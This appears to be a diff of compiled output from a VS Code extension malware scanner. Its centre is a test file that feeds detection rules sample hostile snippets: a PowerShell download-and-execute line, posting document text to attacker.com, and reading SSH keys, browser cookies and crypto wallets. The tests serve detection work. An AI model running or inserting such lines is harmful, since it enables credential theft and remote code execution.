,CAAC,QAAQ,CAAC,WAAW,CAAC,GAAG,CAAC,CAAC,CAAC,WAAW,EAAE,CAAC;QACpE,IAAI,gBAAgB,CAAC,QAAQ,CAAC,GAAG,CAAC,EAAE,CAAC;YACnC,QAAQ,CAAC,IAAI,CAAC;gBACZ,EAAE,EAAE,eAAe;gBACnB,KAAK,EAAE,iCAAiC;gBACxC,WAAW,EAAE,qCAAqC,QAAQ,gIAAgI;gBAC1L,QAAQ,EAAE,MAAM;gBAChB,QAAQ,EAAE,SAAS;gBACnB,QAAQ,EAAE;oBACR,IAAI,EAAE,QAAQ;iBACf;gBACD,QAAQ,EAAE;oBACR,SAAS,EAAE,GAAG;oBACd,cAAc,EAAE;wBACd,iCAAiC;wBACjC,kBAAkB;wBAClB,mBAAmB;wBACnB,sCAAsC;qBACvC;oBACD,QAAQ,EAAE;wBACR,2BAA2B;wBAC3B,sCAAsC;wBACtC,6BAA6B;qBAC9B;iBACF;aACF,CAAC,CAAC;QACL,CAAC;IACH,CAAC;IAED,OAAO,QAAQ,CAAC;AAClB,CAAC;AAED,MAAM,UAAU,gBAAgB,CAAC,QAAsB;IACrD,OAAO,CAAC,GAAG,aAAa,CAAC,QAAQ,CAAC,EAAE,GAAG,gBAAgB,CAAC,QAAQ,CAAC,CAAC,CAAC;AACrE,CAAC"}
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=patterns.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"patterns.test.d.ts","sourceRoot":"","sources":["../../../src/scanner/checks/patterns.test.ts"],"names":[],"mappings":""}
@@ -0,0 +1,147 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import { checkAllPatterns, checkPatterns } from "./patterns.js";
3
+ function makeContents(files) {
4
+ const manifest = {
5
+ name: "test",
6
+ publisher: "test",
7
+ version: "1.0.0",
8
+ };
9
+ const fileMap = new Map();
10
+ for (const [name, content] of Object.entries(files)) {
11
+ fileMap.set(name, Buffer.from(content));
12
+ }
13
+ return {
14
+ manifest,
15
+ files: fileMap,
16
+ basePath: "/test",
17
+ };
18
+ }
19
+ describe("checkPatterns", () => {
20
+ it("detects hidden PowerShell execution", () => {
21
+ const contents = makeContents({
22
+ "extension.js": `exec('powershell -WindowStyle Hidden -Command "test"')`,
23
+ });
24
+ const findings = checkPatterns(contents);
25
+ expect(findings.some((f) => f.id === "POWERSHELL_HIDDEN")).toBe(true);
26
+ });
27
+ it("detects PowerShell download and execute", () => {
28
+ const contents = makeContents({
29
+ "extension.js": `exec('powershell irm https://example.com/payload | iex')`,
30
+ });
31
+ const findings = checkPatterns(contents);
32
+ expect(findings.some((f) => f.id === "POWERSHELL_DOWNLOAD_EXEC")).toBe(true);
33
+ });
34
+ it("detects Discord webhook URLs", () => {
35
+ const contents = makeContents({
36
+ "extension.js": `const webhook = 'https://discord.com/api/webhooks/123/abc-def'`,
37
+ });
38
+ const findings = checkPatterns(contents);
39
+ expect(findings.some((f) => f.id === "DISCORD_WEBHOOK")).toBe(true);
40
+ });
41
+ it("detects SSH key access", () => {
42
+ const contents = makeContents({
43
+ "extension.js": `const key = fs.readFileSync('.ssh/id_rsa')`,
44
+ });
45
+ const findings = checkPatterns(contents);
46
+ expect(findings.some((f) => f.id === "SSH_KEY_ACCESS")).toBe(true);
47
+ });
48
+ it("detects child_process exec calls", () => {
49
+ const contents = makeContents({
50
+ "extension.js": `const { exec } = require('child_process'); exec('whoami')`,
51
+ });
52
+ const findings = checkPatterns(contents);
53
+ expect(findings.some((f) => f.id === "REQUIRE_CHILD_PROCESS")).toBe(true);
54
+ });
55
+ it("detects Vercel app domains", () => {
56
+ const contents = makeContents({
57
+ "extension.js": `fetch('https://suspicious-payload.vercel.app/data')`,
58
+ });
59
+ const findings = checkPatterns(contents);
60
+ expect(findings.some((f) => f.id === "VERCEL_APP")).toBe(true);
61
+ });
62
+ it("does not flag clean code", () => {
63
+ const contents = makeContents({
64
+ "extension.js": `
65
+ const vscode = require('vscode');
66
+ function activate(context) {
67
+ console.log('Extension activated');
68
+ }
69
+ module.exports = { activate };
70
+ `,
71
+ });
72
+ const findings = checkPatterns(contents);
73
+ expect(findings.filter((f) => f.severity === "critical" || f.severity === "high")).toHaveLength(0);
74
+ });
75
+ });
76
+ describe("checkPatterns - high-risk patterns", () => {
77
+ it("detects cryptocurrency wallet access", () => {
78
+ const contents = makeContents({
79
+ "extension.js": `
80
+ const walletPath = process.env.APPDATA + '/MetaMask';
81
+ const data = fs.readFileSync(walletPath);
82
+ `,
83
+ });
84
+ const findings = checkPatterns(contents);
85
+ expect(findings.some((f) => f.id === "CRYPTO_WALLET")).toBe(true);
86
+ expect(findings.find((f) => f.id === "CRYPTO_WALLET")?.severity).toBe("high");
87
+ });
88
+ it("detects phantom wallet reference", () => {
89
+ const contents = makeContents({
90
+ "extension.js": `const phantomWallet = require('phantom');`,
91
+ });
92
+ const findings = checkPatterns(contents);
93
+ expect(findings.some((f) => f.id === "CRYPTO_WALLET")).toBe(true);
94
+ });
95
+ // KEYLOGGER_PATTERN was removed from patterns.ts as it was too noisy
96
+ // (triggered on standard VS Code APIs like onDidChangeTextDocument).
97
+ // The behavioral check BEHAVIOR_KEYLOGGER in behavioral.ts now handles
98
+ // this with multi-stage detection (capture + store + exfiltrate).
99
+ it("detects network data exfiltration pattern", () => {
100
+ const contents = makeContents({
101
+ "extension.js": `
102
+ const content = document.getText();
103
+ axios.post('https://attacker.com/exfil', { data: content });
104
+ `,
105
+ });
106
+ const findings = checkPatterns(contents);
107
+ expect(findings.some((f) => f.id === "NETWORK_EXFIL")).toBe(true);
108
+ });
109
+ it("detects browser storage access", () => {
110
+ const contents = makeContents({
111
+ "extension.js": `
112
+ const chromePath = process.env.APPDATA + '/Google\\\\Chrome/User Data/Default/Cookies';
113
+ const cookies = fs.readFileSync(chromePath);
114
+ `,
115
+ });
116
+ const findings = checkPatterns(contents);
117
+ expect(findings.some((f) => f.id === "BROWSER_STORAGE")).toBe(true);
118
+ });
119
+ it("detects obfuscated code patterns", () => {
120
+ const contents = makeContents({
121
+ "extension.js": `
122
+ const _0x1234 = '\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64';
123
+ eval(_0x1234);
124
+ `,
125
+ });
126
+ const findings = checkPatterns(contents);
127
+ expect(findings.some((f) => f.id === "OBFUSCATED_CODE")).toBe(true);
128
+ });
129
+ it("detects PythonAnywhere exfiltration domain", () => {
130
+ const contents = makeContents({
131
+ "extension.js": `fetch('https://attacker123.pythonanywhere.com/receive')`,
132
+ });
133
+ const findings = checkPatterns(contents);
134
+ expect(findings.some((f) => f.id === "PYTHONANYWHERE")).toBe(true);
135
+ });
136
+ });
137
+ describe("checkAllPatterns", () => {
138
+ it("detects native binary files", () => {
139
+ const contents = makeContents({
140
+ "native.node": "binary content",
141
+ "lib.dll": "binary content",
142
+ });
143
+ const findings = checkAllPatterns(contents);
144
+ expect(findings.filter((f) => f.id === "NATIVE_BINARY")).toHaveLength(2);
145
+ });
146
+ });
147
+ //# sourceMappingURL=patterns.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"patterns.test.js","sourceRoot":"","sources":["../../../src/scanner/checks/patterns.test.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,3 @@
1
+ import type { Finding, VsixContents } from "../types.js";
2
+ export declare function checkUnicode(contents: VsixContents): Finding[];
3
+ //# sourceMappingURL=unicode.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"unicode.d.ts","sourceRoot":"","sources":["../../../src/scanner/checks/unicode.ts"],"names":[],"mappings":"AAEA,OAAO,KAAK,EAAE,OAAO,EAAY,YAAY,EAAE,MAAM,aAAa,CAAC;AAwPnE,wBAAgB,YAAY,CAAC,QAAQ,EAAE,YAAY,GAAG,OAAO,EAAE,CAyD9D"}